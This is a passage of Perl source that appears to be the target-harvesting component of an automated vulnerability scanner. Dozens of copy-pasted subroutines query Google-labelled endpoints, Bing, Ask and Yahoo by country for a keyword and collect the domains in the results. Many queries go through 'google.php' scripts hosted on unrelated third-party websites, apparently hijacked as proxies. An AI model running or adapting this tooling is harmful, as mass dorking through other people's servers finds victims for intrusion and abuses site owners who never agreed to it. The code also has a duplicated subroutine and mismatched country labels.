		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleES() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.belicosa.com.br/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleIT() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.btbb.org//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleNL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://brooklinenetworks.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleSE() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.ericolympico.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleNO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.karenblankenshiplive.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}


sub googleBR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.southerntribune.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleCO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.aofep.org/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleAU() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.ozalpayhospitality.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleRU() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.concours-outremer.org/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googlePL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.eventcouk.com//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleIL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.schilddruesenzentrum-wuerzburg.de/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleJP() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.the-power-service.co.uk/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleCN() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.forklift.satellite-gt.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleIN() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.tricksmaza.com/chs/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleKR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.petrelladesigns.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleRO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.mariobabiera.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
           if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleZA() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.ericolympico.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub BingITALY() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingITALY/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingBELGIUM() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingBELGIUM/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingNETHERLAND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingNETHERLAND/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingPORTLAND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingPORTLAND/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingNORWAY() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingNORWAY/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingDENMARK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingDENMARK/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingSECOND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingSECOND/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingCHILIE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingCHILIE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingNEWZEALAND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingNEWZEALAND/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingRUSSIA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingRUSSIA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingJAPAN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingJAPAN/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingCHINA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingCHINA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingKOREA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingKOREA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingMEXICO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingMEXICO/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingARGENTINA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingARGENTINA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingCLUE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingCLUE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub BingAUSTRALIA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".key($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            my $link = $1;
            if ($link !~ /msn|live|BingAUSTRALIA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGCANADA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://ca.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGCANADA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGDENMARK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://de.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGDENMARK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGITALY() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://it.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGITALY\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGUNITEDKINGDOM() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://uk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGUNITEDKINGDOM\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGFRANCE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://fr.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGFRANCE\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGESPANION() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://es.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGESPANION\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGRUSSIA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://ru.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGRUSSIA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGNETHERLANDS() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://nl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGNETHERLANDS\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGPOLAND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://pl.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGPOLAND\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGARGENTINA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://at.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGARGENTINA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGSECOND() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://se.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGSECOND\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGDENMARK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://dk.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGDENMARK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGNORWAY() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://no.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGNORWAY\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGAUSTRALIA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://au.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGAUSTRALIA\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGBRAZIL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://br.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGBRAZIL\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGMEXICO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://mx.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGMEXICO\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub ASKINGJAPAN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=1) {
        my $search = ("http://jp.ask.com/web?q=".key($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /ASKINGJAPAN\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooUK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooDE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooFR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooES/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yahooIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=500; $i+=10) {
        my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooIT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
